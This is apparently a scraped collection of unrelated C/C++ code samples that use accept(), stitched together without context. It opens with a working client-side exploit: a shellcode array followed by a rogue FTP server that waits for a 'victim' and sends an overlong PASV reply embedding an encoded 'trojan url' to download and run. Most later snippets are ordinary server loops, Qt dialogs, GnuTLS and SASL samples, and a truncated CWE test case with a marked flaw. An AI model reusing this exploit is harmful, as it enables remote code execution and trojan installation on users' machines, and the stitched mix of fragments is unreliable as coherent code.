"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1"
"\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25"
"\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x80\xAB\x2F\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF"
"\x03\x80\xAB\x32\xFF\xFF\xFF\x03\x80\xAB\x33\xFF\xFF\xFF\x03\x80\xAB\x34\xFF\xFF"
"\xFF\x03\x80\xAB\x35\xFF\xFF\xFF\x03\x80\xAB\x36\xFF\xFF\xFF\x03\x80\xAB\x37\xFF"
"\xFF\xFF\x03\x80\xAB\x38\xFF\xFF\xFF\x03\x80\xAB\x39\xFF\xFF\xFF\x03\x80\xAB\x3A"
"\xFF\xFF\xFF\x03\x80\xAB\x3B\xFF\xFF\xFF\x03\x80\xAB\x3C\xFF\xFF\xFF\x03\x80\xAB"
"\x3D\xFF\xFF\xFF\x03\x80\xAB\x3E\xFF\xFF\xFF\x03\x80\xAB\x3F\xFF\xFF\xFF\x03\x80"
"\xAB\x40\xFF\xFF\xFF\x03\x80\xAB\x41\xFF\xFF\xFF\x03\x80\xAB\x42\xFF\xFF\xFF\x03"
"\x80\xAB\x43\xFF\xFF\xFF\x03\x80\xAB\x44\xFF\xFF\xFF\x03\x80\xAB\x45\xFF\xFF\xFF"
"\x03\x80\xAB\x46\xFF\xFF\xFF\x03\x80\xAB\x47\xFF\xFF\xFF\x03\x80\xAB\x48\xFF\xFF"
"\xFF\x03\x80\xAB\x49\xFF\xFF\xFF\x03\x80\xAB\x4A\xFF\xFF\xFF\x03\x80\xAB\x4B\xFF"
"\xFF\xFF\x03\x80\xAB\x4C\xFF\xFF\xFF\x03\x80\xAB\x4D\xFF\xFF\xFF\x03\x80\xAB\x4E"
"\xFF\xFF\xFF\x03\x80\xAB\x4F\xFF\xFF\xFF\x03\x80\xAB\x50\xFF\xFF\xFF\x03\x80\xAB"
"\x51\xFF\xFF\xFF\x03\x80\xAB\x52\xFF\xFF\xFF\x03\x80\xAB\x53\xFF\xFF\xFF\x03\x80"
"\xAB\x54\xFF\xFF\xFF\x03\x80\xAB\x55\xFF\xFF\xFF\x03\x80\xAB\x56\xFF\xFF\xFF\x03"
"\x80\xAB\x57\xFF\xFF\xFF\x03\x80\xAB\x58\xFF\xFF\xFF\x03\x80\xAB\x59\xFF\xFF\xFF"
"\x03\x80\xAB\x5A\xFF\xFF\xFF\x03\x80\xAB\x5B\xFF\xFF\xFF\x03\x80\xAB\x5C\xFF\xFF"
"\xFF\x03\x80\xAB\x5D\xFF\xFF\xFF\x03\x80\xAB\x5E\xFF\xFF\xFF\x03\x80\xAB\x5F\xFF"
"\xFF\xFF\x03\x80\xAB\x60\xFF\xFF\xFF\x03\x80\xAB\x61\xFF\xFF\xFF\x03\x80\xAB\x62"
"\xFF\xFF\xFF\x03\x80\xAB\x63\xFF\xFF\xFF\x03\x80\xAB\x64\xFF\xFF\xFF\x03\x80\xAB"
"\x65\xFF\xFF\xFF\x03\x80\xAB\x66\xFF\xFF\xFF\x03\x80\xAB\x67\xFF\xFF\xFF\x03\x80"
"\xAB\x68\xFF\xFF\xFF\x03\x80\xAB\x69\xFF\xFF\xFF\x03\x80\xAB\x6A\xFF\xFF\xFF\x03"
"\x80\xAB\x6B\xFF\xFF\xFF\x03\x80\xAB\x6C\xFF\xFF\xFF\x03\x80\xAB\x6D\xFF\xFF\xFF"
"\x03\x80\xAB\x6E\xFF\xFF\xFF\x03\x80\xAB\x6F\xFF\xFF\xFF\x03\x80\xAB\x70\xFF\xFF"
"\xFF\x03\x80\xAB\x71\xFF\xFF\xFF\x03\x80\xAB\x72\xFF\xFF\xFF\x03\x80\xAB\x73\xFF"
"\xFF\xFF\x03\x80\xAB\x74\xFF\xFF\xFF\x03\x80\xAB\x75\xFF\xFF\xFF\x03\x80\xAB\x76"
"\xFF\xFF\xFF\x03\x80\xAB\x77\xFF\xFF\xFF\x03\x80\xAB\x78\xFF\xFF\xFF\x03\x80\xAB"
"\x79\xFF\xFF\xFF\x03\x80\xAB\x7A\xFF\xFF\xFF\x03\x80\xAB\x7B\xFF\xFF\xFF\x03\x80"
"\xAB\x7C\xFF\xFF\xFF\x03\x80\xAB\x7D\xFF\xFF\xFF\x03\x80\xAB\x7E\xFF\xFF\xFF\x03"
"\x80\xAB\x7F\xFF\xFF\xFF\x03\x80\x6B\x80\x03\x80\x6B\x81\x03\x80\x6B\x82\x03\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xE9\x61\xF9\xFF\xFF";

char *url = argv[2];

if(strlen(url)>80){
printf("ERROR: trojan url is too long!\n");
return;
}

for(unsigned int i = 5; i < strlen(url); i++){
url[i]+=3;
exploit[839+i] = url[i];
}

exploit[839+i] = '\x0B';
exploit[839+i+1] = '\x04';

WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);

SOCKET listen_Sock = socket(AF_INET,SOCK_STREAM,0);
SOCKADDR_IN addr_Sock;

addr_Sock.sin_family = AF_INET;
addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY);
addr_Sock.sin_port = htons(atoi(argv[1]));

printf("Awaiting for connections...\n");

if(bind(listen_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return;
if(listen(listen_Sock, 1))return;
SOCKET victim = accept(listen_Sock,NULL,NULL);
printf("Victim connected...\n");

char buffer[2048];
sprintf(buffer, "220 drG4njubas roxx da world...\r\n");
send(victim, buffer, strlen(buffer), NULL);

while(true){
if(recv(victim, buffer, 2048, NULL)==SOCKET_ERROR)return;
if(strncmp(buffer, "USER", 4)==0){
sprintf(buffer, "%s\r\n", "331 Password required for user.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PASS", 4)==0){
sprintf(buffer, "%s\r\n", "230 User logged in.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "SYST", 4)==0){
sprintf(buffer, "%s\r\n", "215 Windows_NT version 5.0");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "REST", 4)==0){
sprintf(buffer, "%s\r\n", "350 Restarting at blah.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PWD", 3)==0){
sprintf(buffer, "%s\r\n", "257 Current directory was changed.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "TYPE", 4)==0){
sprintf(buffer, "%s\r\n", "200 Type set to blah.");
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PASV", 4)==0){
printf("PASV command received, sending exploit...");
sprintf(buffer, "227 (%s,1,1,1,1,1)\r\n", exploit);
send(victim, buffer, strlen(buffer), NULL);
printf("finnished.\n");
break;
}
else{
printf("ERROR: Wrong client or pasv mode is not enabled.\n");
break;
}

}

closesocket(victim);
closesocket(listen_Sock);
WSACleanup();
}
Exemplo n.º 19
0
void QRZRegisterDialog::handleRegistered(HAMConnection *connection) {
	accept();
}
Exemplo n.º 20
0
//--    main()              ///{{{1///////////////////////////////////////////
int main( int argc, char* argv[] )
{
	int serverPort = kServerPort;

	// did the user specify a port?
	if( 2 == argc )
	{
		serverPort = atoi(argv[1]);
	}

#	if VERBOSE
	printf( "Attempting to bind to port %d\n", serverPort );
#	endif

	// set up listening socket - see setup_server_socket() for details.
	int listenfd = setup_server_socket( serverPort );

	if( -1 == listenfd )
		return 1;

	// loop forever
	while( 1 )
	{
		sockaddr_in clientAddr;
		socklen_t addrSize = sizeof(clientAddr);

		// accept a single incoming connection
		int clientfd = accept( listenfd, (sockaddr*)&clientAddr, &addrSize );
		printf("Accepted a new client.. \n");

		if( -1 == clientfd )
		{
			perror( "accept() failed" );
			continue; // attempt to accept a different client.
		}

#			if VERBOSE
		// print some information about the new client
		char buff[128];
		printf( "Connection from %s:%d -> socket %d\n",
			inet_ntop( AF_INET, &clientAddr.sin_addr, buff, sizeof(buff) ),
			ntohs(clientAddr.sin_port),
			clientfd
		);
		fflush( stdout );
#			endif

#			if NONBLOCKING
		// enable non-blocking sends and receives on this socket
		if( !set_socket_nonblocking( clientfd ) )
			continue;
#			endif

		// initialize connection data
		ConnectionData connData;
		memset( &connData, 0, sizeof(connData) );

		connData.sock = clientfd;
		connData.state = eConnStateReceiving;

		// Repeatedly receive and re-send data from the connection. When
		// the connection closes, process_client_*() will return false, no
		// further processing is done.
		bool processFurther = true;
		while( processFurther )
		{
			while( processFurther && connData.state == eConnStateReceiving )
				processFurther = process_client_recv( connData );

			while( processFurther && connData.state == eConnStateSending )
				processFurther = process_client_send( connData );
		}

		// done - close connection
		close( connData.sock );
	}

	// The program will never reach this part, but for demonstration purposes,
	// we'll clean up the server resources here and then exit nicely.
	close( listenfd );

	return 0;
}
void jewelrySingleProductDiscount::slotsEnter()
{
  m_price = ui.lineEdit_3->text().toFloat();
 accept();
}
Exemplo n.º 22
0
 int main(int argc, char const *argv[])
 {
 	if(argc <= 2){
 		printf("usage:%s ip_address port_number\n", basename(argv[0]));
 		return 1;
 	}
 	const char* ip = argv[1];
 	int port = atoi(argv[2]);
 	addsig(SIGPIPE , SIG_IGN);


 	threadpool<http_conn>* pool = NULL;
 	try{
 		pool = new threadpool<http_conn>;
 	}catch(...){
 		return 1;
 	}

 	http_conn* users = new http_conn[MAX_FD];
 	assert(users);
 	int user_count = 0;

 	int listenfd = socket(PF_INET , SOCK_STREAM , 0);
 	assert(listenfd >= 0);
 	struct linger tmp = {1 , 0};
 	setsockopt(listenfd , SOL_SOCKET , SO_LINGER , &tmp , sizeof(tmp));

 	int ret = 0;
 	struct sockaddr_in address;
 	bzero(&address , sizeof(address));
 	address.sin_family = AF_INET;
 	inet_pton(AF_INET , ip , &address.sin_addr);
 	address.sin_port = htons(port);

 	ret = bind(listenfd , (struct sockaddr*) &address , sizeof(address));
 	assert(ret >= 0);

 	epoll_event events[MAX_EVENT_NUMBER];

 	int epollfd = epoll_create(5);
 	assert(epollfd != -1);
 	addfd(epollfd , listenfd , false);
 	http_conn::m_epollfd = epollfd;

 	while(true){
 		int number = epoll_wait(epollfd , events , MAX_EVENT_NUMBER , -1);
 		if((number < 0) && (errno != EINTR)){
 			printf("epoll failure\n");
 			break;
 		}
 		for(int i = 0 ; i < number ; i++){
 			int sockfd = events[i].data.fd;
 			if(sockfd == listenfd){
 				struct sockaddr_in client_address;
 				socklen_t clien_addrlength = sizeof(client_address);
 				int connfd = accept(listenfd , (struct sockaddr*)&client_address , &clien_addrlength);

 				if(connfd < 0){
 					printf("errno is %d\n", errno);
 					continue;
 				}
 				if(http_conn::m_user_count >= MAX_FD){
 					show_error(connfd , "Internal server busy");
 					continue;
 				}
 				users[connfd].init(connfd , client_address);
 			}
 			else if(events[i].events & (EPOLLRDHUP | EPOLLHUP | EPOLLERR)){
 				users[sockfd].close_conn();
 			}
 			else if(events[i].events & EPOLLIN){
 				if(users[sockfd].read()){
 					pool->append(users + sockfd);
 				}else{
 					users[sockfd].close_conn();
 				}
 			}
 			else if(events[i].events & EPOLLOUT){
 				if(!users[sockfd].write()){
 					users[sockfd].close_conn();
 				}
 			}
 			else
 			{}
 		}
 	}

 	close(epollfd);
 	close(listenfd);
 	delete [] users;
 	delete pool;
 	return 0;
 	return 0;
 }
Exemplo n.º 23
0
Arquivo: server.c Projeto: Vuzi/SFSS
/* Programme principal serveur */
void startServer(void) {

    /* Socket du serveur */
    SOCKET sock = startConnection(); /* Fonction de lancement du serveur, ici le serveur passe en écoute */
    int max = sock;

    /* Liste des différents comptes */
    Account *accounts = NULL;

    User *users = NULL;
    User *u_cursor = NULL, *tmp = NULL;

    /* Descripteur */
    fd_set rdfs;

    bool quit = false;


    /* A ajouter : commande permettant de quitter §§§ */
    while(!quit) {

        /* On vide le descripteur */
		FD_ZERO(&rdfs);

		/* On ajoute le socket du serveur */
		FD_SET((u_int)sock, &rdfs);

        u_cursor = getFirstUser(users);

        /* On ajoute le socket de chaque User */
        while(u_cursor) {
            FD_SET((u_int)(u_cursor->sock), &rdfs);
            u_cursor = u_cursor->next;
        }

		/* On effectue le select pour lier le descripteur à la lecture sur le socket */
		if(select(max+1, &rdfs, NULL, NULL, NULL) == SOCKET_ERROR) {
            sock_error("select()");
		} else {
			/* Ici on attends un changement d'un des descripteurs */

			/* Si c'est un nouveau client qui effectue une connexion */
			if(FD_ISSET(sock, &rdfs)) {

				HERROR_WRITE(HERROR_DEBUG, "[Serveur] Nouveau client detecte");

				/* Variables du nouveau client */
				SOCKADDR_IN csin;
				size_t sinsize = sizeof csin;

				/* Socket du nouveau client */
				int csock = accept(sock, (SOCKADDR *)&csin, (socklen_t *)&sinsize);

				/* Si erreur */
				if(csock == SOCKET_ERROR)
                    sock_error("accept()");

				/* On ajoute le client en attente de connexion */
				users = addUser(users, (SOCKET)csock, copy(inet_ntoa(csin.sin_addr)));

				/* Nouveau max : */
				max = csock > max ? csock : max;

				HERROR_WRITE(HERROR_INFO, "[Serveur] Nouveau client ajoute ( ip '%s')", users->ip);
			}
			/* Sinon c'est un client qui effectue une action */
			else {
                u_cursor = getFirstUser(users);

				/* Pour chaque Uset */
                while(u_cursor) {
                    /* S'il a envoyé des données */
                    if(FD_ISSET(u_cursor->sock, &rdfs)){

                        if(u_cursor->state == WAITING_MSG || u_cursor->state == WAITING_END_MSG) {
                            if(u_cursor->acc) {
                                HERROR_WRITE(HERROR_INFO, "[Serveur] Message client (ip '%s' | login '%s')", u_cursor->ip, u_cursor->acc->login);
                            } else {
                                HERROR_WRITE(HERROR_INFO, "[Serveur] Message client (ip '%s' | login '--')", u_cursor->ip);
                            }
                        }

                        /* Ici, fonction qui lit la réception du message */
                        if(rcvMsgFromUser(u_cursor, &accounts) == 0) {
                            /* si == 0, client déconnecté */
                            if(u_cursor->acc) {
                                HERROR_WRITE(HERROR_INFO, "[Serveur] Deconnexion client (ip '%s' | login '%s')", u_cursor->ip, u_cursor->acc->login);
                            } else {
                                HERROR_WRITE(HERROR_INFO, "[Serveur] Deconnexion client (ip '%s' | login '--')", u_cursor->ip);
                            }
                            /* On ferme la connexion */
                            closesocket(u_cursor->sock);

                            /* On l'enleve des Users */
                            tmp = u_cursor->next;
                            removeUserAndAccount(&u_cursor, &accounts);
                            users = u_cursor;
                            u_cursor = tmp;
                        } else
                            u_cursor = u_cursor->next;
                    } else
                        u_cursor = u_cursor->next;
                }
			}

		}
	}

	endConnection();

	deleteUser(users);
	deleteAccount(accounts);
}
Exemplo n.º 24
0
void MOParametersDlg::pushedOk()
{
    _orgParameters->cloneFromOtherVector(_widget->localParameters());
    accept();
}
Exemplo n.º 25
0
static void
server (void)
{
  /* this must be called once in the program
   */
  gnutls_global_init ();

  gnutls_global_set_log_function (tls_log_func);
  if (debug)
    gnutls_global_set_log_level (4711);

  gnutls_certificate_allocate_credentials (&x509_cred);
  gnutls_certificate_set_x509_trust_mem (x509_cred, &ca, GNUTLS_X509_FMT_PEM);

  gnutls_certificate_set_x509_key_mem (x509_cred, &server_cert, &server_key,
				       GNUTLS_X509_FMT_PEM);

  if (debug)
    success ("Launched, generating DH parameters...\n");

  generate_dh_params ();

  gnutls_certificate_set_dh_params (x509_cred, dh_params);

  client_len = sizeof (sa_cli);

  session = initialize_tls_session ();

  sd = accept (listen_sd, (SA *) & sa_cli, &client_len);

  if (debug)
    success ("server: connection from %s, port %d\n",
	     inet_ntop (AF_INET, &sa_cli.sin_addr, topbuf,
			sizeof (topbuf)), ntohs (sa_cli.sin_port));

  gnutls_transport_set_ptr (session, (gnutls_transport_ptr_t) sd);
  ret = gnutls_handshake (session);
  if (ret < 0)
    {
      close (sd);
      gnutls_deinit (session);
      fail ("server: Handshake has failed (%s)\n\n", gnutls_strerror (ret));
      return;
    }
  if (debug)
    success ("server: Handshake was completed\n");

  if (debug)
    success ("server: TLS version is: %s\n",
	     gnutls_protocol_get_name (gnutls_protocol_get_version
				       (session)));

  /* see the Getting peer's information example */
  if (debug)
    print_info (session);

  i = 0;
  for (;;)
    {
      memset (buffer, 0, MAX_BUF + 1);
      ret = gnutls_record_recv (session, buffer, MAX_BUF);

      if (ret == 0)
	{
	  if (debug)
	    success ("server: Peer has closed the GnuTLS connection\n");
	  break;
	}
      else if (ret < 0)
	{
	  fail ("server: Received corrupted data(%d). Closing...\n", ret);
	  break;
	}
      else if (ret > 0)
	{
	  /* echo data back to the client
	   */
	  gnutls_record_send (session, buffer, strlen (buffer));
	}
    }
  /* do not wait for the peer to close the connection.
   */
  gnutls_bye (session, GNUTLS_SHUT_WR);

  close (sd);
  gnutls_deinit (session);

  close (listen_sd);

  gnutls_certificate_free_credentials (x509_cred);

  gnutls_dh_params_deinit (dh_params);

  gnutls_global_deinit ();

  if (debug)
    success ("server: finished\n");
}
Exemplo n.º 26
0
int main(int argc, char **argv)
{
    int listener, new_fd, kdpfd, nfds, n, ret, curfds;
    socklen_t len;
    struct sockaddr_in my_addr, their_addr;
    unsigned int myport, lisnum;
    struct epoll_event ev;
    struct epoll_event events[MAXEPOLLSIZE];
    struct rlimit rt;
    myport = 5000;
    lisnum = 2;
    /* 设置每个进程允许打开的最大文件数 */
    rt.rlim_max = rt.rlim_cur = MAXEPOLLSIZE;
    if (setrlimit(RLIMIT_NOFILE, &rt) == -1)
    {
        perror("setrlimit");
        exit(1);
    }
    else
    {
        printf("设置系统资源参数成功!\n");
    }
    /* 开启 socket 监听 */
    if ((listener = socket(PF_INET, SOCK_STREAM, 0)) == -1)
    {
        perror("socket");
        exit(1);
    }
    else
    {
        printf("socket 创建成功!\n");
    }
    setnonblocking(listener);
    bzero(&my_addr, sizeof(my_addr));
    my_addr.sin_family = PF_INET;
    my_addr.sin_port = htons(myport);
    my_addr.sin_addr.s_addr = INADDR_ANY;
    if (bind(listener, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) == -1)
    {
        perror("bind");
        exit(1);
    }
    else
    {
        printf("IP 地址和端口绑定成功\n");
    }
    if (listen(listener, lisnum) == -1)
    {
        perror("listen");
        exit(1);
    }
    else
    {
        printf("开启服务成功!\n");
    }
    /* 创建 epoll 句柄,把监听 socket 加入到 epoll 集合里 */
    kdpfd = epoll_create(MAXEPOLLSIZE);
    len = sizeof(struct sockaddr_in);
    ev.events = EPOLLIN | EPOLLET;
    ev.data.fd = listener;
    if (epoll_ctl(kdpfd, EPOLL_CTL_ADD, listener, &ev) < 0)
    {
        fprintf(stderr, "epoll set insertion error: fd=%d\n", listener);
        return -1;
    }
    else
    {
        printf("监听 socket 加入 epoll 成功!\n");
    }
    curfds = 1;
    while (1)
    {
        /* 等待有事件发生 */
        nfds = epoll_wait(kdpfd, events, curfds, -1);
        if (nfds == -1)
        {
            perror("epoll_wait");
            break;
        }
        /* 处理所有事件 */
        for (n = 0; n < nfds; ++n)
        {
            if (events[n].data.fd == listener)
            {
                new_fd = accept(listener, (struct sockaddr *) &their_addr,&len);
                if (new_fd < 0)
                {
                    perror("accept");
                    continue;
                }
                else
                {
                    printf("有连接来自于: %d:%d, 分配的 socket 为:%d\n",
                            inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd);
                }
                setnonblocking(new_fd);
                ev.events = EPOLLIN | EPOLLET;
                ev.data.fd = new_fd;
                if (epoll_ctl(kdpfd, EPOLL_CTL_ADD, new_fd, &ev) < 0)
                {
                    fprintf(stderr, "把 socket '%d' 加入 epoll 失败!%s\n",
                            new_fd, strerror(errno));
                    return -1;
                }
                curfds++;
            }
            else
            {
                ret = handle_message(events[n].data.fd);
                if (ret < 1 && errno != 11)
                {
                    epoll_ctl(kdpfd, EPOLL_CTL_DEL, events[n].data.fd,&ev);
                    curfds--;
                }
            }
        }
    }
    close(listener);
    return 0;
}
Exemplo n.º 27
0
void OptionsDialog::on_okButton_clicked()
{
    mapper->submit();
    accept();
}
Exemplo n.º 28
0
QtMarbleConfigDialog::QtMarbleConfigDialog( MarbleWidget *marbleWidget, QWidget *parent )
    : QDialog( parent ),
      d( new QtMarbleConfigDialogPrivate( marbleWidget ) )
{
    QTabWidget *tabWidget = new QTabWidget( this );
    QDialogButtonBox *buttons = 
    new QDialogButtonBox( QDialogButtonBox::Ok
                        | QDialogButtonBox::Apply
                        | QDialogButtonBox::Cancel,
                          Qt::Horizontal,
                          this );

    // Connect the signals of the ButtonBox
    // to the corresponding slots of the dialog.
    connect( buttons, SIGNAL(accepted()), this, SLOT(accept()) ); // Ok
    connect( buttons, SIGNAL(rejected()), this, SLOT(reject()) ); // Cancel
    connect( buttons->button( QDialogButtonBox::Apply ),SIGNAL(clicked()),
             this, SLOT(writeSettings()) );                         // Apply
    // If the dialog is accepted. Save the settings.
    connect( this, SIGNAL(accepted()), this, SLOT(writeSettings()) );

    // view page
    QWidget *w_viewSettings = new QWidget( this );

    d->ui_viewSettings.setupUi( w_viewSettings );
    tabWidget->addTab( w_viewSettings, tr( "View" ) );

    // It's experimental -- so we remove it for now.
    // FIXME: Delete the following  line once OpenGL support is officially supported.
    d->ui_viewSettings.kcfg_graphicsSystem->removeItem( Marble::OpenGLGraphics );

    QString nativeString ( tr("Native") );

    #ifdef Q_WS_X11
    nativeString = tr( "Native (X11)" );
    #endif
    #ifdef Q_WS_MAC
    nativeString = tr( "Native (Mac OS X Core Graphics)" );
    #endif

    d->ui_viewSettings.kcfg_graphicsSystem->setItemText( Marble::NativeGraphics, nativeString );

    // navigation page
    QWidget *w_navigationSettings = new QWidget( this );

    d->ui_navigationSettings.setupUi( w_navigationSettings );
    tabWidget->addTab( w_navigationSettings, tr( "Navigation" ) );

    // cache page
    QWidget *w_cacheSettings = new QWidget( this );

    d->ui_cacheSettings.setupUi( w_cacheSettings );
    tabWidget->addTab( w_cacheSettings, tr( "Cache and Proxy" ) );
    // Forwarding clear button signals
    connect( d->ui_cacheSettings.button_clearVolatileCache, SIGNAL(clicked()), SIGNAL(clearVolatileCacheClicked()) );
    connect( d->ui_cacheSettings.button_clearPersistentCache, SIGNAL(clicked()), SIGNAL(clearPersistentCacheClicked()) );

    // time page
    QWidget *w_timeSettings = new QWidget( this );
    d->ui_timeSettings.setupUi( w_timeSettings );
    tabWidget->addTab( w_timeSettings, tr( "Date and Time" ) );

    // routing page
    QWidget *w_routingSettings = new RoutingProfilesWidget( marbleWidget->model() );
    tabWidget->addTab( w_routingSettings, tr( "Routing" ) );

    // plugin page
    d->m_pluginModel.setRenderPlugins( d->m_marbleWidget->renderPlugins() );
    d->w_pluginSettings = new MarblePluginSettingsWidget( this );
    d->w_pluginSettings->setModel( &d->m_pluginModel );
    d->w_pluginSettings->setObjectName( "plugin_page" );
    tabWidget->addTab( d->w_pluginSettings, tr( "Plugins" ) );

    // Setting the icons for the plugin dialog.
    d->w_pluginSettings->setAboutIcon( QIcon(":/icons/help-about.png") );
    d->w_pluginSettings->setConfigIcon(  QIcon(":/icons/settings-configure.png") );

    connect( this, SIGNAL(rejected()), &d->m_pluginModel, SLOT(retrievePluginState()) );
    connect( this, SIGNAL(accepted()), &d->m_pluginModel, SLOT(applyPluginState()) );
    
    QWidget *w_cloudSyncSettings = new QWidget( this );
    d->ui_cloudSyncSettings.setupUi( w_cloudSyncSettings );
    tabWidget->addTab( w_cloudSyncSettings, tr( "Synchronization" ) );

    // Layout
    QVBoxLayout *layout = new QVBoxLayout( this );
    layout->addWidget( tabWidget );
    layout->addWidget( buttons );
    
    this->setLayout( layout );

    // When the settings have been changed, write to disk.
    connect( this, SIGNAL(settingsChanged()), this, SLOT(syncSettings()) );

    initializeCustomTimezone();
}
Exemplo n.º 29
0
int main(int argc, char *argv[])
{
    int c;
    char *port = "12345";
    char *service = "rcmd";
    char *hostname = NULL;
    int *l, maxfd=0;
    int r, i;
    sasl_conn_t *conn;
    int cb_flag = 0;

    while ((c = getopt(argc, argv, "Cch:p:s:m:")) != EOF) {
        switch(c) {
        case 'C':
            cb_flag = 2;        /* channel bindings are critical */
            break;

        case 'c':
            cb_flag = 1;        /* channel bindings are present */
            break;

        case 'h':
            hostname = optarg;
            break;

        case 'p':
            port = optarg;
            break;

        case 's':
            service = optarg;
            break;

        case 'm':
            mech = optarg;
            break;

        default:
            usage();
            break;
        }
    }

    /* initialize the sasl library */
    r = sasl_server_init(NULL, "sample");
    if (r != SASL_OK) saslfail(r, "initializing libsasl");

    /* get a listening socket */
    if ((l = listensock(port, PF_UNSPEC)) == NULL) {
        saslfail(SASL_FAIL, "allocating listensock");
    }

    for (i = 1; i <= l[0]; i++) {
        if (l[i] > maxfd)
            maxfd = l[i];
    }

    for (;;) {
        char localaddr[NI_MAXHOST | NI_MAXSERV],
             remoteaddr[NI_MAXHOST | NI_MAXSERV];
        char myhostname[1024+1];
        char hbuf[NI_MAXHOST], pbuf[NI_MAXSERV];
        struct sockaddr_storage local_ip, remote_ip;
        int niflags, error;
        int salen;
        int nfds, fd = -1;
        FILE *in, *out;
        fd_set readfds;
        sasl_channel_binding_t cb;

        FD_ZERO(&readfds);
        for (i = 1; i <= l[0]; i++)
            FD_SET(l[i], &readfds);

        nfds = select(maxfd + 1, &readfds, 0, 0, 0);
        if (nfds <= 0) {
            if (nfds < 0 && errno != EINTR)
                perror("select");
            continue;
        }

        for (i = 1; i <= l[0]; i++)
            if (FD_ISSET(l[i], &readfds)) {
                fd = accept(l[i], NULL, NULL);
                break;
            }

        if (fd < 0) {
            if (errno != EINTR)
                perror("accept");
            continue;
        }

        printf("accepted new connection\n");

        /* set ip addresses */
        salen = sizeof(local_ip);
        if (getsockname(fd, (struct sockaddr *)&local_ip, (unsigned int *) &salen) < 0) {
            perror("getsockname");
        }
        niflags = (NI_NUMERICHOST | NI_NUMERICSERV);
#ifdef NI_WITHSCOPEID
        if (((struct sockaddr *)&local_ip)->sa_family == AF_INET6)
            niflags |= NI_WITHSCOPEID;
#endif
        error = getnameinfo((struct sockaddr *)&local_ip, salen, hbuf,
                            sizeof(hbuf), pbuf, sizeof(pbuf), niflags);
        if (error != 0) {
            fprintf(stderr, "getnameinfo: %s\n", gai_strerror(error));
            strcpy(hbuf, "unknown");
            strcpy(pbuf, "unknown");
        }
        snprintf(localaddr, sizeof(localaddr), "%s;%s", hbuf, pbuf);

        salen = sizeof(remote_ip);
        if (getpeername(fd, (struct sockaddr *)&remote_ip, (unsigned int *) &salen) < 0) {
            perror("getpeername");
        }

        niflags = (NI_NUMERICHOST | NI_NUMERICSERV);
#ifdef NI_WITHSCOPEID
        if (((struct sockaddr *)&remote_ip)->sa_family == AF_INET6)
            niflags |= NI_WITHSCOPEID;
#endif
        error = getnameinfo((struct sockaddr *)&remote_ip, salen, hbuf,
                            sizeof(hbuf), pbuf, sizeof(pbuf), niflags);
        if (error != 0) {
            fprintf(stderr, "getnameinfo: %s\n", gai_strerror(error));
            strcpy(hbuf, "unknown");
            strcpy(pbuf, "unknown");
        }
        snprintf(remoteaddr, sizeof(remoteaddr), "%s;%s", hbuf, pbuf);

        if (hostname == NULL) {
            r = gethostname(myhostname, sizeof(myhostname)-1);
            if(r == -1) saslfail(r, "getting hostname");
            hostname = myhostname;
        }

        r = sasl_server_new(service, hostname, NULL, localaddr, remoteaddr,
                            NULL, 0, &conn);
        if (r != SASL_OK) saslfail(r, "allocating connection state");

        cb.name = "sasl-sample";
        cb.critical = cb_flag > 1;
        cb.data = (const unsigned char *) "this is a test of channel binding";
        cb.len = (unsigned int) strlen((const char *) cb.data);

        if (cb_flag) {
            sasl_setprop(conn, SASL_CHANNEL_BINDING, &cb);
        }

        /* set external properties here
        sasl_setprop(conn, SASL_SSF_EXTERNAL, &extprops); */

        /* set required security properties here
        sasl_setprop(conn, SASL_SEC_PROPS, &secprops); */

        in = fdopen(fd, "r");
        out = fdopen(fd, "w");

        r = mysasl_negotiate(in, out, conn);
        if (r == SASL_OK) {
            /* send/receive data */


        }

        printf("closing connection\n");
        fclose(in);
        fclose(out);
        close(fd);
        sasl_dispose(&conn);
    }

    sasl_done();
}
void CWE369_Divide_by_Zero__int_listen_socket_modulo_10_bad()
{
    int data;
    /* Initialize data */
    data = -1;
    if(globalTrue)
    {
        {
#ifdef _WIN32
            WSADATA wsaData;
            int wsaDataInit = 0;
#endif
            int recvResult;
            struct sockaddr_in service;
            SOCKET listenSocket = INVALID_SOCKET;
            SOCKET acceptSocket = INVALID_SOCKET;
            char inputBuffer[CHAR_ARRAY_SIZE];
            do
            {
#ifdef _WIN32
                if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR)
                {
                    break;
                }
                wsaDataInit = 1;
#endif
                /* POTENTIAL FLAW: Read data using a listen socket */
                listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if (listenSocket == INVALID_SOCKET)
                {
                    break;
                }
                memset(&service, 0, sizeof(service));
                service.sin_family = AF_INET;
                service.sin_addr.s_addr = INADDR_ANY;
                service.sin_port = htons(TCP_PORT);
                if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR)
                {
                    break;
                }
                if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR)
                {
                    break;
                }
                acceptSocket = accept(listenSocket, NULL, NULL);
                if (acceptSocket == SOCKET_ERROR)
                {
                    break;
                }
                /* Abort on error or the connection was closed */
